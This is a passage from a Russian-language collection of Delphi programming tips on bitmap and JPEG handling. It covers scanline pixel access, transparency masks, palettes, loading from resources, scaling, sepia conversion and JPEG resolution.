{замечательная функция (см.HELP), возвращает HBITMAP, позволяет сразу
 разместить выделяемый битмэп в спроецированном файле, что позволяет
 ускорять работу и экономить память при генерировании большого битмэпа}
{!}      BM:=CreateDIBSection(DC,BI, DIB_RGB_COLORS, pointer(PB), nil, 0);
       DeleteDC(DC);  {в PB получаем указатель на битмэп-----^^}
       if BM=0 then Error('error creating DIB');
     end;
  end;
end;

{эта процедура загружает из файла true-color'ный битмэп}
procedure TMBitmap.LoadFromFile(const FileName:string);
var HF:integer; {file handle}
    HM:THandle; {file-mapping handle}
    PF:pchar;   {pointer to file view in memory}
    i,j:integer;
    Ofs:integer;
begin
{открываем файл}
  HF:=FileOpen(FileName,fmOpenRead or fmShareDenyWrite);
  if HF<0 then Error('open file '''+FileName+'''');
  try
{создаем объект-проецируемый файл}
    HM:=CreateFileMapping(HF,nil,PAGE_READONLY,0,0,nil);
    if HM=0 then Error('can''t create file mapping');
   try
{собственно проецируем объект в адресное }
       PF:=MapViewOfFile(HM,FILE_MAP_READ,0,0,0);
{получаем указатель на область памяти, в которую спроецирован файл}
       if PF=nil then Error('can''t create map view of file');
      try
{работаем с файлом как с областью памяти через указатель PF}
         if PBitmapFileHeader(PF)^.bfType<>$4D42 then  Error('file format');
         Ofs:=PBitmapFileHeader(PF)^.bfOffBits;
         with PBitmapInfo(PF+sizeof(TBitmapFileHeader))^.bmiHeader do
         begin
           if (biSize<>40) or (biPlanes<>1) then Error('file format');
           if (biCompression<>BI_RGB) or
              (biBitCount<>24) then Error('only true-color BMP supported');
{выделяем память под битмэп}
           Allocate(biWidth,biHeight);
         end;

         for j:=0 to BI.bmiHeader.biHeight-1 do
           for i:=0 to BI.bmiHeader.biWidth-1 do
{Pixels - это property, возвр. указатель на соотв. RGBTriple в битмэпе}
              Pixels[i,j]^.Tr:=ParrRGBTriple(PF+j*FLineSize+Ofs)^[i];
      finally
        UnmapViewOfFile(PF);
      end;
   finally
     CloseHandle(HM);
   end;
  finally
    FileClose(HF);
  end;
end;

{эта функция - реализация Pixels read}
function TMBitmap.GetPixel(X,Y:integer):PRGB;
begin
  if (X>=0) and (Xand
     (Y>=0) and (Ythen Result:=PRGB(PB+(Y)*FLineSize+X*3)
  else Result:=PRGB(PB);
end;


Bitmap.PixelFormat - подробности

Общее
Новое в Delphi 3 свойство scanline допускает быстрый доступ к отдельным пикселям, но необходимо указать с каким Bitmap.PixelFormat вы работаете, прежде чем сможете иметь доступ к пикселям.
Возможные PixelFormats включают:
pfDevice
pf1bit - посмотреть подробности
pf4bit
pf8bit - посмотреть подробности
pf15bit
pf16bit
pf24bit - посмотреть подробности
pf32bit

Взято с http://delphiworld.narod.ru


Bitmap.PixelFormat:=pf1bit;

Доступ к pf8bit-изображениям осуществляется достаточно легко, с тех пор, как они стали использовать один байт на пиксель. Но вы можете сохранить много памяти, если вам необходим единственный бит на пиксель (как, например, с различными масками) в случае pf1bit-изображения.

Как и в случае с pf8bit-изображениями, используйте TByteArray для доступа к pf1bit-ным линиям чередования (Scanlines). Но для доступа к отдельным пикселям вам понадобиться работать с битами отдельного байта. Так, ширина линии чередования равна Bitmap.Width DIV 8 байт.

Нижеприведенный код показывает как можно создать шаблон 1-битного изображения: черный, белый, полоски, "g", "стрелка" и случайный -- опция "инвертировано" также доступна. (Надеюсь, технологию вы освоете без труда.)

Создайте форму с Image1: для TImage я использую одно изображение Image1 размером 256x256 и свойством Stretch := TRUE, чтобы отдельные пиксели было легко разглядеть. Кнопки Black, White и Stripes имеют свойство tags, c соответствующими значениями 0, 255, и 85 ($55 = 01010101 в двоичной системе исчисления), вызывающие при нажатии обработчик события ButtonStripesClick.

Кнопки "g" и "arrow" имеют собственные обработчики событий, позволяющие корректно распечатать тестовые изображения на принтере HP Laserjet.

"Random" случайным образом устанавливает биты в 1-битном изображении.

"Invert" меняет нули на единички и наоборот.

// Пример того, как использовать Bitmap.Scanline для PixelFormat=pf1Bit.
// По просьбе Mino Ballone из Италии.
//
// Авторское право (C) 1997, Earl F. Glynn, Overland Park, KS.
// Все права защищены.
// Может свободно использоваться для некоммерческих целей.

unit ScreenSingleBit;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type

  TForm1 = class(TForm)
    Image1: TImage;
    ButtonBlack: TButton;
    ButtonWhite: TButton;
    ButtonStripes: TButton;
    ButtonG: TButton;
    ButtonArrow: TButton;
    ButtonRandom: TButton;
    ButtonInvert: TButton;
    procedure ButtonStripesClick(Sender: TObject);
    procedure ButtonGClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ButtonRandomClick(Sender: TObject);
    procedure ButtonInvertClick(Sender: TObject);
    procedure ButtonArrowClick(Sender: TObject);
  private
    Bitmap: TBitmap;
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

const

  BitsPerPixel = 8;

procedure TForm1.ButtonStripesClick(Sender: TObject);

var
  i: INTEGER;
  j: INTEGER;
  Row: pByteArray;
  Value: BYTE;
begin

  Value := (Sender as TButton).Tag;
  // Value = $00 = 00000000 в двоичном исчислении для черного
  // Value = $FF = 11111111 в двоичном исчислении для белого
  // Value = $55 = 01010101 в двоичном исчислении для черных и белых полос

  for j := 0 to Bitmap.Height - 1 do
  begin
    Row := pByteArray(Bitmap.Scanline[j]);
    for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
    begin
      Row[i] := Value
    end
  end;

  Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.ButtonGClick(Sender: TObject);

const
  {Изображение "g" было адаптировано для печати на принтере
  LaserJet IIP в соответствии с техническим руководством}

  G: array[0..31, 0..3] of BYTE =
  { 0}(($00, $FC, $0F, $C0), {00000000 11111100 00001111 11000000}
    { 1}($07, $FF, $1F, $E0), {00000111 11111111 00011111 11100000}
    { 2}($0F, $FF, $9F, $C0), {00001111 11111111 10011111 11000000}
    { 3}($3F, $D7, $DE, $00), {00111111 11010111 11011110 00000000}
    { 4}($3E, $01, $FE, $00), {00111110 00000001 11111110 00000000}
    { 5}($7C, $00, $7E, $00), {01111100 00000000 01111110 00000000}
    { 6}($78, $00, $7E, $00), {01111000 00000000 01111110 00000000}
    { 7}($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
    { 8}($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
    { 9}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
    {10}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
    {11}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
    {12}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
    {13}($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
    {14}($78, $00, $3E, $00), {01111000 00000000 00111110 00000000}
    {15}($78, $00, $3E, $00), {01111000 00000000 00111110 00000000}
    {16}($78, $00, $7E, $00), {01111000 00000000 01111110 00000000}
    {17}($3C, $00, $FE, $00), {00111100 00000000 11111110 00000000}
    {18}($1F, $D7, $DE, $00), {00011111 11010111 11011110 00000000}
    {19}($0F, $FF, $5E, $00), {00001111 11111111 10011110 00000000}
    {20}($07, $FF, $1E, $00), {00000111 11111111 00011110 00000000}
    {21}($00, $A8, $1E, $00), {00000000 10101000 00011110 00000000}
    {22}($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
    {23}($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
    {24}($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
    {25}($00, $00, $3E, $00), {00000000 00000000 00111110 00000000}
    {26}($00, $00, $3C, $00), {00000000 00000000 00111100 00000000}
    {27}($00, $00, $7C, $00), {00000000 00000000 01111100 00000000}
    {28}($00, $01, $F8, $00), {00000000 00000001 11111000 00000000}
    {29}($01, $FF, $F0, $00), {00000001 11111111 11110000 00000000}
    {30}($03, $FF, $E0, $00), {00000011 11111111 11100000 00000000}
    {31}($01, $FF, $80, $00)); {00000001 11111111 10000000 00000000}

var
  i: INTEGER;
  j: INTEGER;
  Row: pByteArray;
begin

  for j := 0 to Bitmap.Height - 1 do
  begin
    Row := pByteArray(Bitmap.Scanline[j]);
    for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
    begin
      Row[i] := G[j, i]
    end
  end;

  Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.ButtonArrowClick(Sender: TObject);

const
  {Изображение "стрелка" было адаптировано для печати на принтере
  LaserJet IIP в соответствии с техническим руководством}

  Arrow: array[0..31, 0..3] of BYTE =
  { 0}(($00, $00, $80, $00), {00000000 00000000 10000000 00000000}
    { 1}($00, $00, $C0, $00), {00000000 00000000 11000000 00000000}
    { 2}($00, $00, $E0, $00), {00000000 00000000 11100000 00000000}
    { 3}($00, $00, $F0, $00), {00000000 00000000 11110000 00000000}
    { 4}($00, $00, $F8, $00), {00000000 00000000 11111000 00000000}
    { 5}($00, $00, $FC, $00), {00000000 00000000 11111100 00000000}
    { 6}($00, $00, $FE, $00), {00000000 00000000 11111110 00000000}
    { 7}($00, $00, $FF, $00), {00000000 00000000 11111111 00000000}
    { 8}($00, $00, $FF, $80), {00000000 00000000 11111111 10000000}
    { 9}($FF, $FF, $FF, $C0), {11111111 11111111 11111111 11000000}
    {10}($FF, $FF, $FF, $E0), {11111111 11111111 11111111 11100000}
    {11}($FF, $FF, $FF, $F0), {11111111 11111111 11111111 11110000}
    {12}($FF, $FF, $FF, $F8), {11111111 11111111 11111111 11111000}
    {13}($FF, $FF, $FF, $FC), {11111111 11111111 11111111 11111100}
    {14}($FF, $FF, $FF, $FE), {11111111 11111111 11111111 11111110}
    {15}($FF, $FF, $FF, $FF), {11111111 11111111 11111111 11111111}
    {16}($FF, $FF, $FF, $FF), {11111111 11111111 11111111 11111111}
    {17}($FF, $FF, $FF, $FE), {11111111 11111111 11111111 11111110}
    {18}($FF, $FF, $FF, $FC), {11111111 11111111 11111111 11111100}
    {19}($FF, $FF, $FF, $F8), {11111111 11111111 11111111 11111000}
    {20}($FF, $FF, $FF, $F0), {11111111 11111111 11111111 11110000}
    {21}($FF, $FF, $FF, $E0), {11111111 11111111 11111111 11100000}
    {22}($FF, $FF, $FF, $C0), {11111111 11111111 11111111 11000000}
    {23}($00, $00, $FF, $80), {00000000 00000000 11111111 10000000}
    {24}($00, $00, $FF, $00), {00000000 00000000 11111111 00000000}
    {25}($00, $00, $FE, $00), {00000000 00000000 11111110 00000000}
    {26}($00, $00, $FC, $00), {00000000 00000000 11111100 00000000}
    {27}($00, $00, $F8, $00), {00000000 00000000 11111000 00000000}
    {28}($00, $00, $F0, $00), {00000000 00000000 11110000 00000000}
    {29}($00, $00, $E0, $00), {00000000 00000000 11100000 00000000}
    {30}($00, $00, $C0, $00), {00000000 00000000 11000000 00000000}
    {31}($00, $00, $80, $00)); {00000000 00000000 10000000 00000000}

var
  i: INTEGER;
  j: INTEGER;
  Row: pByteArray;
begin

  for j := 0 to Bitmap.Height - 1 do
  begin
    Row := pByteArray(Bitmap.Scanline[j]);
    for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
    begin
      Row[i] := arrow[j, i]
    end
  end;

  Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  Bitmap := TBitmap.Create;
  with Bitmap do
  begin
    Width := 32;
    Height := 32;
    PixelFormat := pf1bit
  end;
  Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin

  Bitmap.Free
end;

procedure TForm1.ButtonRandomClick(Sender: TObject);

var
  i: INTEGER;
  j: INTEGER;
  Row: pByteArray;
begin

  for j := 0 to Bitmap.Height - 1 do
  begin
    Row := pByteArray(Bitmap.Scanline[j]);
    for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
    begin
      Row[i] := Random(256)
    end
  end;

  Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.ButtonInvertClick(Sender: TObject);

var
  i: INTEGER;
  j: INTEGER;
  Row: pByteArray;
begin

  for j := 0 to Bitmap.Height - 1 do
  begin
    Row := pByteArray(Bitmap.Scanline[j]);
    for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
    begin
      Row[i] := not Row[i]
    end
  end;

  Image1.Picture.Graphic := Bitmap
end;

end.

Взято с http://delphiworld.narod.ru


Bitmap.PixelFormat:=pf8bit;

Доступ к такому формату изображения легко получить, используя TByteArray (определен в SysUtils.PAS):

PByteArray = ^TByteArray;
TByteArray = array[0..32767] of Byte;

(Я думаю (но сам этого не пробовал), что вы сможете получить доступ к pf16bit-изображениям, используя следующие определения в SysUtils.PAS:

PWordArray = ^TWordArray;
TWordArray = array[0..16383] of Word;

Для того, чтобы обработать 8-битное (pf8bit) изображение, используйте конструктор подобный этому, который создает гистограмму изображения:

TYPE
THistogram  = ARRAY[0..255] OF INTEGER;
...

VAR
Histogram:  THistogram;
i      :  INTEGER;
j      :  INTEGER;
Row    :  pByteArray;

...
FOR i := Low(THistogram) TO High(THistogram) DO
  Histogram[i] := 0;
IF  Bitmap.PixelFormat = pf8bit THEN
BEGIN
  FOR j := Bitmap.Height-1 DOWNTO 0 DO
    BEGIN
      Row  := pByteArray(Bitmap.Scanline[j]);
      FOR i := Bitmap.Width-1 DOWNTO 0 DO
        BEGIN
          INC (Histogram[Row[i]])
        END
   END
END
...

Взято с http://delphiworld.narod.ru


Bitmap.PixelFormat:=pf24bit;

Для pf24bit-изображений необходимо определить:

CONST
PixelCountMax = 32768;

TYPE
pRGBArray = ^TRGBArray;
TRGBArray = ARRAY[0..PixelCountMax-1] OF TRGBTriple;

Примечание: TRGBTriple определен в модуле Windows.PAS.

Для того, чтобы к существующему 24-битному изображению иметь доступ как к изображению, созданному с разрешением 3 байта на пиксел, сделайте следующее:

...
VAR
i           :  INTEGER;
j           :  INTEGER;
RowOriginal :  pRGBArray;
RowProcessed:  pRGBArray;
BEGIN
IF   OriginalBitmap.PixelFormat <> pf24bit THEN
RAISE EImageProcessingError.Create('GetImageSpace:  ' +
'Изображение должно быть 24-х битным.');
{Шаг через каждую строчку изображения.}
FOR j := OriginalBitmap.Height-1 DOWNTO 0 DO
BEGIN
RowOriginal  := pRGBArray(OriginalBitmap.Scanline[j]);
RowProcessed := pRGBArray(ProcessedBitmap.Scanline[j]);
FOR i := OriginalBitmap.Width-1 DOWNTO 0 DO
BEGIN
//           Доступ к RGB-цветам отдельных пикселей должен осуществляться следующим образом:
//           RowProcessed[i].rgbtRed     := RowOriginal[i].rgbtRed;
//           RowProcessed[i].rgbtGreen   := RowOriginal[i].rgbtGreen;
//           RowProcessed[i].rgbtBlue    := RowOriginal[i].rgbtBlue;
END
END
END
...

Взято с http://delphiworld.narod.ru


Прозрачный Bitmap

Вам необходимо две копии вашего изображения. Маску и само изображение. Маска является ничем иным, как изображением, состоящим из двух цветов. Черного для тех областей, которые вы хотите показать, и белого для прозрачных. Для Windows 3.1 маска изображения может быть черно-белой, и предназначена для определения размеров изображения. В Win95 черно-белая маска ни при каких обстоятельствах не работает, т.к. у нее должна быть та же глубина цветов, что и у самого изображения, которое вы хотите показать.

Изображение, которое вы хотите показать, должно содержать в прозрачных областях значение цвета, равное 0. Метод помещения изображения на экран такой же, как и в DOS. Маска AND экран, изображение OR или XOR с той же областью.

Ниже приведен код Delphi, позволяя сделать вышеописанное с помощью двух TBitmap.

Canvas.CopyMode := cmSrcAnd;
Canvas.CopyRect(TitleRect, BMask.Canvas, TitleRect);
{заполняем "пробелы" изображением}
Canvas.CopyMode := cmSrcPaint;
Canvas.CopyRect(TitleRect, BTitle.Canvas, TitleRect);

procedure DrawTransparentBmp(Cnv: TCanvas; x,y: Integer; Bmp: TBitmap; clTransparent: TColor);
var
  bmpXOR, bmpAND, bmpINVAND, bmpTarget: TBitmap;
  oldcol: Longint;
begin
  try
    bmpAND := TBitmap.Create;
    bmpAND.Width := Bmp.Width;
    bmpAND.Height := Bmp.Height;
    bmpAND.Monochrome := True;
    oldcol := SetBkColor(Bmp.Canvas.Handle, ColorToRGB(clTransparent));
    BitBlt(bmpAND.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, Bmp.Canvas.Handle, 0, 0, SRCCOPY);
    SetBkColor(Bmp.Canvas.Handle, oldcol);

    bmpINVAND := TBitmap.Create;
    bmpINVAND.Width := Bmp.Width;
    bmpINVAND.Height := Bmp.Height;
    bmpINVAND.Monochrome := True;
    BitBlt(bmpINVAND.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, bmpAND.Canvas.Handle, 0, 0, NOTSRCCOPY);

    bmpXOR := TBitmap.Create;
    bmpXOR.Width := Bmp.Width;
    bmpXOR.Height := Bmp.Height;
    BitBlt(bmpXOR.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, Bmp.Canvas.Handle, 0, 0, SRCCOPY);
    BitBlt(bmpXOR.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, bmpINVAND.Canvas.Handle, 0, 0, SRCAND);

    bmpTarget := TBitmap.Create;
    bmpTarget.Width := Bmp.Width;
    bmpTarget.Height := Bmp.Height;
    BitBlt(bmpTarget.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, Cnv.Handle, x, y, SRCCOPY);
    BitBlt(bmpTarget.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, bmpAND.Canvas.Handle, 0, 0, SRCAND);
    BitBlt(bmpTarget.Canvas.Handle, 0, 0, Bmp.Width, Bmp.Height, bmpXOR.Canvas.Handle, 0, 0, SRCINVERT);
    BitBlt(Cnv.Handle, x, y, Bmp.Width, Bmp.Height, bmpTarget.Canvas.Handle, 0, 0, SRCCOPY);
  finally
    bmpXOR.Free;
    bmpAND.Free;
    bmpINVAND.Free;
    bmpTarget.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Назначение палитры Bitmap

Если вы рисуете на TImage....

Во-первых, вам нужно использовать Image1.Picture.bitmap, а не Image.Canvas. Причина кроется в том, что Image1.Picture.Bitmap имеет палитру, в Timage нет. Затем палитру необходимо назначить. Вот пример:

// Устанавливаем Width и Height перед использованием
// Image1.Picture c Bitmap Canvasvar

Bitmap: TBitmap;
begin
  Bitmap:=TBitmap.Create;
  Bitmap.LoadfromFile({'Whatever.bmp'});

  With Image2.Picture.bitmap do
  Begin
    Width:=Bitmap.Width;
    height:=Bitmap.Height;
    Palette:=Bitmap.Palette;
    Canvas.draw(0,0,bitmap);
    Refresh;
  end;
end;

Если вы рисуете на канве формы...

Canvas.Draw(0,0,Bitmap);
SelectPalette(Form1.Canvas.handle,Bitmap.Palette,True);
RealizePalette(Form1.Canvas.Handle);

Взято с http://delphiworld.narod.ru


Загрузка Bitmap из .res без потери палитры

procedure loadgraphic(naam:string);
var
  HResInfo: THandle;
  BMF: TBitmapFileHeader;
  MemHandle: THandle;
  Stream: TMemoryStream;
  ResPtr: PByte;
  ResSize: Longint;
  null:array [0..8] of char;
begin
  strpcopy (null, naam);
  HResInfo := FindResource(HInstance, null, RT_Bitmap);
  ResSize := SizeofResource(HInstance, HResInfo);
  MemHandle := LoadResource(HInstance, HResInfo);
  ResPtr := LockResource(MemHandle);
  Stream := TMemoryStream.Create;
  try
    Stream.SetSize(ResSize + SizeOf(BMF));
    BMF.bfType := $4D42;
    Stream.write(BMF, SizeOf(BMF));
    Stream.write(ResPtr^, ResSize);
    Stream.Seek(0, 0);
    Bitmap:=tbitmap.create;
    Bitmap.LoadFromStream(Stream);
  finally
    Stream.Free;
  end;
  FreeResource(MemHandle);
end;

Взято с http://delphiworld.narod.ru


Загрузка 256-цветного TBitmap

Автор: Steve Schafer

Windows не очень полезен, когда мы имеем дело с 256-цветными изображениями. Что делаю я (поскольку думаю, что это самый простой метод): я создаю в памяти изображение таким образом, чтобы TBitmap.LoadFromStream мог "принять" его. Данным методом я загружаю "сырой" ресурс изображения и размещаю его, используя инфорационный заголовок файла изображения. Вот потомок TBitmap, инкапсулирующий вышесказанное:

type
  TMyBitmap = class(TBitmap)
  public
    procedure Load256ColorBitmap(Instance: THandle; BitmapName: PChar);
  end;

procedure TMyBitmap.Load256ColorBitmap(Instance: THandle;
  BitmapName: PChar);
var
  HDib: THandle;
  Size: LongInt;
  Info: PBitmapInfo;
  FileHeader: TBitmapFileHeader;
  S: TMemoryStream;
begin
  HDib := LoadResource(Instance, FindResource(Instance, BitmapName,
    RT_BITMAP));
  if HDib <> 0 then
  begin
    Info := LockResource(HDib);
    Size := GetSelectorLimit(Seg(Info^)) + SizeOf(TBitmapFileHeader);
    with FileHeader do
    begin
      bfType := $4D42;
      bfSize := Size;
      bfReserved1 := 0;
      bfReserved2 := 0;
      bfOffBits := SizeOf(TBitmapFileHeader) + SizeOf(TBitmapInfoHeader);
      case Info^.bmiHeader.biBitCount of
        1: bfOffBits := bfOffBits + 2 * 4;
        4: bfOffBits := bfOffBits + 16 * 4;
        8: bfOffBits := bfOffBits + 256 * 4;
      end;
    end;
    S := TMemoryStream.Create;
    try
      S.SetSize(Size);
      S.Write(FileHeader, SizeOf(TBitmapFileHeader));
      S.Write(Info^, Size - SizeOf(TBitmapFileHeader));
      S.Position := 0;
      LoadFromStream(S);
    finally
      S.Free;
      FreeResource(HDib);
    end;
  end
  else
    raise EResNotFound.Create(Format('Не могу найти ресурс изображения %s',
      [BitmapName]));
end;

Вот как можно это использовать:

Image1.Picture.Bitmap := TMyBitmap.Create;
TMyBitmap(Image1.Picture.Bitmap).Load256ColorBitmap(hInstance, 'BITMAP_1');

Взято с http://delphiworld.narod.ru


Bitmap без формы

Автор: Mike Scott

Как мне загрузить изображение (BMP) и отобразить это на рабочем столе без использования формы? (Я хочу отображать это из DLL).

Существует один способ сделать это: создать холст TCanvas, получить контекст устройства для рабочего стола и назначить его дескриптору холста. После рисования на холсте десктоп отобразит ваше творение. Вот пример:

var
  DesktopCanvas: TCanvas;
begin
  DesktopCanvas := TCanvas.Create;
  try
    DesktopCanvas.Handle := GetDC(0);
    try
      DesktopCanvas.MoveTo(0, 0);
      DesktopCanvas.LineTo(Screen.Width, Screen.Height);
    finally
      ReleaseDC(0, DesktopCanvas.Handle);
      DesktopCanvas.Handle := 0;
    end;
  finally
    DesktopCanvas.Free;
  end;
end;

Вы можете создать TBitmap и загрузить в него BMP-файл. Единственная гнустная вещь может произойти, если вы используете изображение с 256-цветной палитрой при работе в режиме с 256 цветами. Обойти это припятствие можно так: создать форму без границ и заголовка, установить ее высоту и ширину в ноль, поместить на нее компонент TImage и загрузить в него необходимое изображение. VCL реализует для вас нужную палитру.

Взято с http://delphiworld.narod.ru


How to scale bitmap by percent?

{ .... }
  private
    function ScalePercentBmp(bitmp: TBitmap; iPercent: Integer): Boolean;
{ .... }

function TForm1.ScalePercentBmp(bitmp: TBitmap;
  iPercent: Integer): Boolean;
var
  TmpBmp: TBitmap;
  ARect: TRect;
  h, w: Real;
  hi, wi: Integer;
begin
  Result := False;
  try
    TmpBmp := TBitmap.Create;
    try
      h := bitmp.Height * (iPercent / 100);
      w := bitmp.Width * (iPercent / 100);
      hi := StrToInt(FormatFloat('#', h)) + bitmp.Height;
      wi := StrToInt(FormatFloat('#', w)) + bitmp.Width;
      TmpBmp.Width := wi;
      TmpBmp.Height := hi;
      ARect := Rect(0, 0, wi, hi);
      TmpBmp.Canvas.StretchDraw(ARect, Bitmp);
      bitmp.Assign(TmpBmp);
    finally
      TmpBmp.Free;
    end;
    Result := True;
  except
    Result := False;
  end;
end;

// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  ScalePercentBmp(Image1.Picture.Bitmap, 33);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Конвертация bitmap to sepia or greyscale

//This function adds a sepia effect to a bitmap.
//the 'depth' sets the colour intensity of the red-brown colour
//greater numbers set a higher intensity.
//To create a greyscale effect instead, set 'depth' to 0

function bmptosepia(const bmp: TBitmap; depth: Integer): Boolean;
var
color,color2:longint;
r,g,b,rr,gg:byte;
h,w:integer;
begin
  for h := 0 to bmp.height do
  begin
    for w := 0 to bmp.width do
    begin
//first convert the bitmap to greyscale
    color:=colortorgb(bmp.Canvas.pixels[w,h]);
    r:=getrvalue(color);
    g:=getgvalue(color);
    b:=getbvalue(color);
    color2:=(r+g+b) div 3;
    bmp.canvas.Pixels[w,h]:=RGB(color2,color2,color2);
//then convert it to sepia
    color:=colortorgb(bmp.Canvas.pixels[w,h]);
    r:=getrvalue(color);
    g:=getgvalue(color);
    b:=getbvalue(color);
    rr:=r+(depth*2);
    gg:=g+depth;
    if rr <= ((depth*2)-1) then
    rr:=255;
    if gg <= (depth-1) then
    gg:=255;
    bmp.canvas.Pixels[w,h]:=RGB(rr,gg,b);
    end;
  end;
end;

//Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  bmptosepia(image1.picture.bitmap, 20);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Изменение глубины цвета изображения

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  public
    function ChangeColorDepth(const FromBMP: TBitmap; out ToBMP: TBitmap;
      const ColorDepth: TPixelFormat): Boolean;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  B24, B16: TBitmap;
begin
  B24 := TBitmap.Create;
  try
    B24.LoadFromFile('c:\1.bmp');
    if ChangeColorDepth(B24, B16, pf4bit) then
    try
      B16.SaveToFile('c:\2.bmp');
    finally
      B16.Free;
    end;
  finally
    B24.Free;
  end;
end;

function TForm1.ChangeColorDepth(const FromBMP: TBitmap;
  out ToBMP: TBitmap; const ColorDepth: TPixelFormat): Boolean;
begin
  Result := True;
  try
    ToBMP := TBitmap.Create;
    ToBMP.Width := FromBMP.Width;
    ToBMP.Height := FromBMP.Height;
    ToBMP.PixelFormat := ColorDepth;
    ToBMP.Canvas.Draw(0, 0, FromBMP);
  except
    if ToBMP <> nil then ToBMP.Free;
    Result := False;
  end;
end;

end.

Автор Rouse_
Взято из http://forum.sources.ru


Работа с Jpeg

Cодержание раздела:

Открыть файл JPEG New!
Сохранить изображение в формате JPEG New!
Узнать/установить JPG resolution? New!
Изменение размеров JPEG Image? New!

См. также статьи в других разделах:
BMP ---> JPG
Как узнать размер картинки для JPG, GIF и PNG файлов? Updated!


Сохранить изображение в формате JPEG

В комплект поставки Delphi входит модуль JPEG. Он позволяет работать с изображениями в формате JPEG. Эта программа сохраняет изображение экрана в файле C:\Screen.jpg.

uses Jpeg;

procedure TForm1.Button1Click(Sender: TObject);
var
  JpegIm: TJpegImage;
  bm: TBitMap;
begin
  bm := TBitMap.Create;
  bm.Width := Screen.Width;
  bm.Height := Screen.Height;
  BitBlt(bm.Canvas.Handle, 0, 0,
    bm.Width, bm.Height,
    GetDC(0), 0, 0, SRCCOPY);

  JpegIm := TJpegImage.Create;
  JpegIm.Assign(bm);
  JpegIm.CompressionQuality := 20;
  JpegIm.Compress;
  JpegIm.SaveToFile('C:\Screen.jpg');
  bm.Destroy;
  JpegIm.Destroy;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


Узнать/установить JPG resolution?

procedure GetResJpg(JPGFile: string);
const
  BufferSize = 50;
var
  Buffer: string;
  Index: integer;
  FileStream: TFileStream;
  HorzRes, VertRes: Word;
  DP: Byte;
  Measure: string;
begin
  FileStream := TFileStream.Create(JPGFile,
    fmOpenReadWrite);
  try
    SetLength(Buffer, BufferSize);
    FileStream.Read(buffer[1], BufferSize);
    Index := Pos('JFIF' + #$00, buffer);
    if Index > 0 then
    begin
      FileStream.Seek(Index + 6, soFromBeginning);
      FileStream.Read(DP, 1);
      case DP of
        1: Measure := 'DPI'; //Dots Per Inch
        2: Measure := 'DPC'; //Dots Per Cm.
      end;
      FileStream.Read(HorzRes, 2); // x axis
      HorzRes := Swap(HorzRes);
      FileStream.Read(VertRes, 2); // y axis
      VertRes := Swap(VertRes);
    end
  finally
    FileStream.Free;
  end;
end;

procedure SetResJpg(name: string; dpix, dpiy: Integer);
const
  BufferSize = 50;
  DPI = 1; //inch
  DPC = 2; //cm
var
  Buffer: string;
  index: INTEGER;
  FileStream: TFileStream;
  xResolution: WORD;
  yResolution: WORD;
  _type: Byte;
begin
  FileStream := TFileStream.Create(name,
    fmOpenReadWrite);
  try
    SetLength(Buffer, BufferSize);
    FileStream.Read(buffer[1], BufferSize);
    index := POS('JFIF' + #$00, buffer);
    if index > 0
      then begin
      FileStream.Seek(index + 6, soFromBeginning);
      _type := DPI;
      FileStream.write(_type, 1);
      xresolution := swap(dpix);
      FileStream.write(xresolution, 2);
      yresolution := swap(dpiy);
      FileStream.write(yresolution, 2);
    end
  finally
    FileStream.Free;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Открыть файл JPEG

В комплект поставки Delphi входит модуль JPEG. Он позволяет работать с изображениями в формате JPEG. Эта программа открывает выбранный файл и выводит изображение на форму.

uses Jpeg;

procedure TForm1.Button1Click(Sender: TObject);
var
  JpegIm: TJpegImage;
  bm: TBitMap;
begin
  if OpenDialog1.Execute = false then Exit;
  bm := TBitMap.Create;
  JpegIm := TJpegImage.Create;
  JpegIm.LoadFromFile(OpenDialog1.FileName);

  bm.Assign(JpegIm);
  Form1.Canvas.Draw(0, 0, bm);
  bm.Destroy;
  JpegIm.Destroy;
end;
Автор советов: Даниил Карапетян
e-mail: delphi4all@narod.ru

Автор справки: Алексей Денисов
e-mail: aleksey@sch103.krasnoyarsk.su


